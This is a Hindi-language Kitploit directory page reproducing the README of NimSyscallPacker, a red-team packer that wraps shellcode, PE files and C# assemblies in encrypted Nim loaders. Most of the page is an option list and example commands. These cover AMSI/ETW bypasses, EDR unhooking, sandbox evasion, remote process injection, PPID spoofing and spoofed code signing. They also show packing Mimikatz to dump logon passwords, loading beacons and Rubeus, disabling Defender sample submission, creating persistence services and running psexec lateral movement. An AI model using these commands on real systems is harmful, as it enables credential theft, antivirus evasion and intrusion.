Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
NimSyscallPacker — C# असेंब्लियों, PE फ़ाइलों या शेलकोड को एन्क्रिप्टेड Nim बाइनरीज़ में पैक करता है, जिसमें AMSI/ETW बायपास, सैंडबॉक्स डिटेक्शन, और रेड टीम ऑपरेशन के लिए कई इंजेक्शन तकनीकों सहित उन्नत एवेज़न सुविधाएँ शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/s3cur3th1ssh1t/nimsyscallpacker
विशेषाधिकार वृद्धिपेलोड जनरेशनस्थायित्व तंत्रशोषणपार्श्व आंदोलनशेलकोडपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
बाइनरी शोषण
GitHubs3cur3th1ssh1t/nimsyscallpacker

NimSyscallPacker

C# असेंब्लियों, PE फ़ाइलों या शेलकोड को एन्क्रिप्टेड Nim बाइनरीज़ में पैक करता है, जिसमें AMSI/ETW बायपास, सैंडबॉक्स डिटेक्शन, और रेड टीम ऑपरेशन के लिए कई इंजेक्शन तकनीकों सहित उन्नत एवेज़न सुविधाएँ शामिल हैं।

रिपॉजिटरी देखें
207332 महीने पहलेKitploit द्वारा समीक्षित

NimSyscallPacker / Loader

यह टूल x33fcon पर एक टॉक के बाद सार्वजनिक किया गया था। यह 2021-2024 तक मेरा निजी मुख्य कोडिंग प्रोजेक्ट था और अब इसे अप्रचलित माना जाता है और आगे इसका रखरखाव नहीं किया जाता है। मेरी ओर से यहाँ बग फिक्स या फीचर अपडेट की उम्मीद न करें। इसके बजाय, RustPack को अब परीक्षित रेड टीमों और पेंटेस्टर्स के लिए एक व्यावसायिक और नियंत्रित संस्करण के रूप में बनाए रखा जा रहा है, जो अधिक सुविधाओं से भरपूर और ऑपरेशनल सुरक्षा भी कहीं अधिक है।

यह पैकर किसी भी C# असेंबली, PE-फ़ाइल या शेलकोड को Nim बाइनरी में पैक करने के लिए इस्तेमाल किया जा सकता है। यह लक्ष्य पेलोड को एन्क्रिप्ट करेगा, दिए गए तर्कों के अनुसार संबंधित Nim स्रोत कोड का निर्माण करेगा और इसे एक Nim बाइनरी में कंपाइल करेगा।

सेटअप

एक वीडियो - यदि आप वह पसंद करते हैं - यहाँ पाया जा सकता है: https://youtu.be/0PwIn3Nxmgo

विंडोज

Nim/Nimble को सही ढंग से काम करने के लिए Git इंस्टॉल होना आवश्यक है।

Nim 2.2.10 और Nim विंडोज डाउनलोड पेज से लिंक किए गए MinGW-w64 GCC 11.1.0 बंडल के साथ परीक्षण किया गया। नए Nim रिलीज़ विंडोज पर एक उच्च PE इमेज बेस पर डिफ़ॉल्ट होते हैं, जो -static लिंक को relocation truncated to fit: R_X86_64_32S against .bss के साथ तोड़ देता है; पैकर अब स्टैटिक बिल्ड को काम करने के लिए -Wl,--image-base=0x10000 को बाध्य करता है, इसलिए कोई भी MinGW-w64 11.x बिल्ड ठीक होना चाहिए। यहाँ केवल x64 समर्थित है — x86/--x86/--wow64 बनाए नहीं रखा गया है।

  1. Nim और MinGW (x86_64) डाउनलोड करें:
    • nim-2.2.10_x64.zip
    • mingw64.7z (Nim विंडोज इंस्टॉल पेज से लिंक किया गया)
  2. Nim को 7-Zip से निकालें (विंडोज के अंतर्निहित Expand-Archive से नहीं — यह चुपचाप lib\system.nim को छोड़ देता है क्योंकि lib\system\ निर्देशिका के साथ केस-टकराव होता है)। Nim zip में bin\7zG.exe शामिल है जिसका उपयोग आप MinGW निकालने के लिए कर सकते हैं।
  3. <nim>\bin और <mingw64>\bin को अपने %PATH% में जोड़ें। परिवर्तन प्रभावी होने के लिए लॉगऑफ/लॉगऑन (या अपने शेल को पुनरारंभ) करें।
  4. निम्बल निर्भरताएँ इंस्टॉल करें: ```batch nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
    root@kitploit:~

कार्य करने के लिए ज्ञात संस्करण (Nim 2.2.10 के अनुसार): nimcrypto 0.6.0, docopt 0.7.1, ptr_math 0.3.0, winim 3.9.4, nim-strenc (HEAD — रिपॉजिटरी में कोई टैग की गई रिलीज़ नहीं है)।

  1. Windows Defender नमूना सबमिशन अक्षम करें (Packer अन्यथा चलने से इनकार करता है): ```powershell Set-MpPreference -SubmitSamplesConsent 2
    root@kitploit:~
  2. Packer को संकलित करें: ```batch nim c NimSyscallLoader.nim
    root@kitploit:~

यदि आप Windows पर LLVM obfuscator का उपयोग करना चाहते हैं, तो denim से एम्बेडेड संशोधित denim संस्करण का उपयोग करें। इसे denim\denim.exe setup के माध्यम से इंस्टॉल करें।

Linux

उदाहरण के लिए Kali / Debian पर। पैकर को ऐतिहासिक रूप से nim 1.6.8 + mingw-64 8.0.0-1 की आवश्यकता थी; अब स्टैटिक-लिंक --image-base=0x10000 वर्कअराउंड शामिल होने के कारण, नई टूलचेन भी काम करनी चाहिए। Windows बिल्ड वह है जिसका सक्रिय रूप से परीक्षण किया जाता है — Linux पर सर्वोत्तम प्रयास किया जाता है।```bash apt-get install nim mingw-w64 nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/

root@kitploit:~
यदि `--hellsgate` नए mingw-w64 पर असेंबल होने में विफल रहता है, तो `mingw-64=8.0.0-1` पर डाउनग्रेड करें।

`pip3 install donut-shellcode` के माध्यम से donut स्थापित करें। `denim` को Unix से उपयोग नहीं किया जा सकता, इसलिए यहां LLVM के माध्यम से अस्पष्टीकरण संभव नहीं है। Callobfuscator के लिए भी यही बात है।

पैकर को `nim c -d:noRES NimSyscallLoader.nim` के माध्यम से कंपाइल करें। तैयार है। यदि आप -d:noRES का उपयोग नहीं करते हैं तो आपको निम्नलिखित त्रुटि मिल सकती है:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.

डॉकर सेटअप

इसे एक बार बनाने की आवश्यकता है (पहली बार में कुछ समय लगता है, बाद के बिल्ड कैश्ड हो जाएंगे)।

sudo docker build . -t nimsyscallloader

फिर पैकर को इस प्रकार चलाएं:

sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe जहाँ $(pwd) होस्ट सिस्टम पर वह निर्देशिका है जो कंटेनर के साथ साझा की गई है, अर्थात वह निर्देशिका जहाँ एन्क्रिप्ट करने के लिए फ़ाइलें होनी चाहिए और जहाँ आउटपुट सहेजा जाएगा।

तृतीय-पक्ष निर्भरताएँ

यदि आप LimeLighter के माध्यम से कोड साइनिंग प्रमाणपत्रों का उपयोग करना चाहते हैं तो आपको निम्नलिखित चीज़ें इंस्टॉल और अपने %PATH% में होनी चाहिए: openssl - (Windows के लिए) उदाहरण के लिए यहाँ से osslsigncode - उदाहरण के लिए यहाँ से

तृतीय-पक्ष टूल समर्थन

मैं यहाँ उपयोग किए जाने वाले तृतीय-पक्ष टूल्स में समस्याओं के लिए समर्थन नहीं दूंगा। इसलिए यदि आप उनमें समस्याओं का सामना कर रहे हैं तो कृपया संबंधित रिपॉजिटरी में एक इश्यू खोलें। उपयोग किए जा रहे तृतीय-पक्ष टूल्स:

  • Donut
  • Denim
  • LimeLighter
  • Callobfuscator
  • NimlineWhispers3
  • Koppeling

आप या तो मेरे प्रीकंपाइल्ड बाइनरी का उपयोग कर सकते हैं या निश्चित रूप से ऊपर दिए गए लिंक से उन्हें स्वयं कंपाइल कर सकते हैं।

उपयोग

एक वीडियो - यदि आप वह पसंद करते हैं - यहाँ पाया जा सकता है: https://youtu.be/UHaIgdzqHDA

मैंने कुछ सुविधाओं के लिए छोटे वीडियो भी जोड़े हैं क्योंकि इसका अनुरोध किया गया था:

Caro-Kann:

https://youtu.be/etAFZrIyb44

ThreadlessInject सुविधा:

https://youtu.be/eRS-4AywrHI

मॉड्यूल स्टॉम्पिंग सुविधा:

https://youtu.be/l-TmqqQ49UI

shellcodeURL सुविधा:

https://youtu.be/OYxcL4D7K0c

stegoFile सुविधा:

https://youtu.be/Vr58_R4rYDA

shellcodeFile सुविधा:

https://youtu.be/Oj55uilxEF4

स्थानीय प्रक्रियाओं के लिए Ruy Lopez

https://youtu.be/8fBkRo1zlIM

Shellcode आउटपुट प्रारूप

https://youtu.be/ZTiZA2fg3WM

असेंबली आउटपुट सुविधा

https://youtu.be/TDEJ-U18UIk

और मैंने एक सार्वजनिक वीडियो बनाया है जो दिखाता है कि ThreadlessInject तकनीक को डिफ़ॉल्ट प्रक्रिया के अलावा अन्य प्रक्रियाओं में कैसे अनुकूलित करें:

https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2

Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version

Options:

[general]

-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded

[Payload retrieval options]

By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from

[DLL options]

--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable

[evasion]

--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)

[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]

--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique

[shellcode specific]

--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.

[PE Packing]

--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE

[C# assembly Packing]

--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace

root@kitploit:~
डिफ़ॉल्ट रूप से, Packer प्रत्येक Payload के लिए SandBox evasion और AntiDebug कार्यक्षमताओं का उपयोग करता है। यदि आप उन्हें सक्षम नहीं रखना चाहते (जैसे कि उनके IoCs को हटाने के लिए) या किसी अन्य कारण से, तो आप फ़्लैग `--noAntidebug` या `--noDefaultSandBox` का उपयोग कर सकते हैं। विकल्पों से प्रत्येक अन्य SandBox जाँच मौजूदा जाँचों के अतिरिक्त जोड़ी जाएगी, न कि उनके प्रतिस्थापन के रूप में।

सभी Payloads डिफ़ॉल्ट रूप से `RX` मेमोरी क्षेत्र में निष्पादित किए जाते हैं। कुछ Payloads केवल `READ_EXECUTE` के साथ काम नहीं करेंगे। इसके बजाय `RWX` का उपयोग करने के लिए आप फ़्लैग `--RWX` से इसे सक्षम कर सकते हैं।

इसके अलावा, डिफ़ॉल्ट रूप से, Payloads परिणामी बाइनरी में एन्क्रिप्टेड ऐरे के रूप में एम्बेड किए जाते हैं। इससे उच्च एन्ट्रॉपी होती है और इसके कारण कुछ AV/EDR विक्रेताओं द्वारा पहचान हो सकती है। मैं इसके बजाय रनटाइम पर किसी अलग फ़ाइल या वेबसर्वर से Payload प्राप्त करने के लिए `--shellcodeFile` या `--shellcodeURL` का उपयोग करने की अनुशंसा करता हूँ। इससे साइड-इफेक्ट के रूप में SandBox Evasion भी होता है। उदाहरण के लिए जब उपयोग कर रहे हों:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
यदि आप जल्दी में नहीं हैं, तो मैं किसी भी Payload के लिए `--sleep numberOfSeconds` और या `--sleep-in-between numberOfSeconds` विकल्पों का उपयोग करने की भी सिफारिश कर सकता हूँ, क्योंकि इससे memory Scan और या behaviour based detection bypasses हो सकते हैं।

उदाहरण के लिए, निष्पादन से पहले unhooking के साथ और AMSI को बाईपास किए बिना Mimikatz को पैक करने के लिए निम्नलिखित का उपयोग करें:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject

आप में से कुछ लोगों को --file=Mimikatz --peload तर्कों के माध्यम से पैकर के साथ Mimikatz लोड करने और बाद में रनटाइम पर कस्टम कमांड जारी करने में समस्या हो रही थी।

मुझे इस व्यवहार का कारण मिल गया। मुझसे यह मत पूछो कि क्यों, लेकिन आप Github से सीधे रिलीज़ नहीं ले सकते; आपको Mimikatz को स्वयं कंपाइल करना होगा (या एक कस्टम वर्ज़न बनाना होगा) और आधिकारिक रिलीज़ के बजाय इसे लोड करना होगा। साथ ही, Mimikatz के लिए --noAntidebug का उपयोग करें, क्योंकि ऐसा न करने पर अजीब परिणाम आते हैं (मुझसे यह मत पूछो कि क्यों, अन्य PE बिना किसी समस्या के लोड हो जाते हैं)।

यदि आप फिर भी github से रिलीज़ वर्ज़न को एम्बेड करना चाहते हैं, तो आप सीधे इस तरह तर्क पास कर सकते हैं:```batch Packedmimikatz.exe coffee exit

root@kitploit:~
आप `--peload`, `--csharp` या `--peinject` पेलोड के लिए तर्कों को हार्डकोड भी कर सकते हैं, उदाहरण के लिए निम्नलिखित कमांड लाइन तर्कों को `privilege::debug sekurlsa::logonpasswords exit` में पैच करेगा:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug

Donut shellcode कुछ AV/EDR विक्रेताओं द्वारा पहचाना जाता है। PE-Loading के विकल्प के रूप में मैंने अपने Nim-RunPE को Syscalls का उपयोग करने के लिए संशोधित किया और इसे यहाँ एकीकृत किया:

उदाहरण के लिए Mimikatz को पैक करने और इसे syscall PE-Loader के माध्यम से लोड करने के लिए निम्नलिखित का उपयोग करें:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)

root@kitploit:~
स्थानीय इंजेक्शन के लिए Shellcode पैक करने के लिए:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI

दूरस्थ प्रक्रिया में shellcode लोड करने के लिए:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe

root@kitploit:~
C# असेंबली लोड करने के लिए:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp

C# assembly को arguments के साथ लोड करने के लिए:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'

root@kitploit:~
To load a C# assembly and use hellsgate for Syscall retrieval :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate

स्थानीय इंजेक्शन + hellsgate उपयोग + self-delete + सैंडबॉक्स जांच के लिए Shellcode पैक करने हेतु:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace

root@kitploit:~
मशीन लर्निंग का पता लगाने को बायपास करने के लिए कई हज़ार अंग्रेज़ी शब्द जोड़ने हेतु:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words

Syswhispers3 का उपयोग jumper_randomized तकनीक के साथ/बिना करने के लिए:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump

root@kitploit:~
एन्क्रिप्ट करने से पहले sgn के साथ shellcode को एन्कोड करने के लिए:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn

एक कस्टम प्रक्रिया उत्पन्न करने और उसके बाद उसमें इंजेक्ट करने + दूरस्थ प्रक्रिया में AMSI/ETW को पैच करने के लिए:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW

root@kitploit:~
आउटपुट के रूप में एक्जीक्यूटेबल के बजाय DLL जेनरेट करने के लिए बस `--dll` पैरामीटर जोड़ें। आप `--dllexportfunc Export1,ExportFunc2` के माध्यम से कस्टम एक्सपोर्ट फंक्शन भी परिभाषित कर सकते हैं। इन कस्टम एक्सपोर्ट का उपयोग DLL साइडलोडिंग के लिए भी किया जा सकता है।

LLVM विवरण [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) से लिया गया है - मैंने अभी तक इसका परीक्षण नहीं किया है!

**वैकल्पिक:** [Obfuscator-LLVM](https://github.com/heroims/obfuscator) फ्लैग का उपयोग करने के लिए, आपके सिस्टम पर [wclang](https://github.com/tpoechtrager/wclang) के साथ इसे स्थापित होना चाहिए। मैंने पाया है कि यह थोड़ा मुश्किल है लेकिन थोड़ी दृढ़ता के साथ आप इसे कर सकते हैं। यहाँ मेरे Kali Linux सिस्टम पर काम करने वाला एक त्वरित चरण-दर-चरण दिया गया है:
1. Obfuscator-LLVM का वांछित संस्करण क्लोन करें और इसे बनाएं
2. एक बार संकलित होने के बाद, clang के मौजूदा संस्करण का बैकअप लें और Obfuscator-LLVM के नए clang संस्करण को /usr/bin/ पर ले जाएं
3. wclang स्थापित करें और इसके बाइनरी को अपने PATH में जोड़ें
4. मौजूदा clang लाइब्रेरी फाइलों का बैकअप लें, नवनिर्मित Obfuscator-LLVM लाइब्रेरी इन्क्लूड को /usr/lib/clang/OLD_VERSION/ पर कॉपी करें

इसके अतिरिक्त, आपको अपने `nim.cfg` फ़ाइल में निम्नलिखित पंक्तियाँ जोड़नी होंगी ताकि nim आपके wclang बाइनरी की ओर इंगित हो:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"

सेवा बाइनरी

सेवा बाइनरी चलते-फिरते नहीं चलतीं। इन्हें केवल विंडोज सेवाओं के लिए उपयोग किया जा सकता है। इसलिए यदि आप --service के साथ कोई सेवा बाइनरी संकलित कर रहे हैं, तो आपको उस बाइनरी के स्थान के साथ एक नई सेवा बनानी होगी। यह उदाहरण के लिए इस प्रकार किया जा सकता है:```batch sc.exe create Updater binpath="C:\windows\system32\service.exe" sc.exe start Updater

root@kitploit:~
Packer बाइनरी का उपयोग impacket-psexec Lateral Movement के लिए भी किया जा सकता है:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement

सर्विस DLLs को अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है। आप निम्नलिखित ब्लॉग पढ़ सकते हैं और कुछ रजिस्ट्री परिवर्तनों की आवश्यकता होती है:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f

root@kitploit:~
इसके अलावा `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` मान को आपके सेवा नाम को भी शामिल करने के लिए समायोजित करने की आवश्यकता है।

यदि आप सेवा प्रारंभ करने पर ERROR 1053 प्राप्त कर रहे हैं, तो संभवतः आप अंतिम प्रविष्टि भूल गए होंगे।

### पैकर के साथ Golang बाइनरी को संभालना

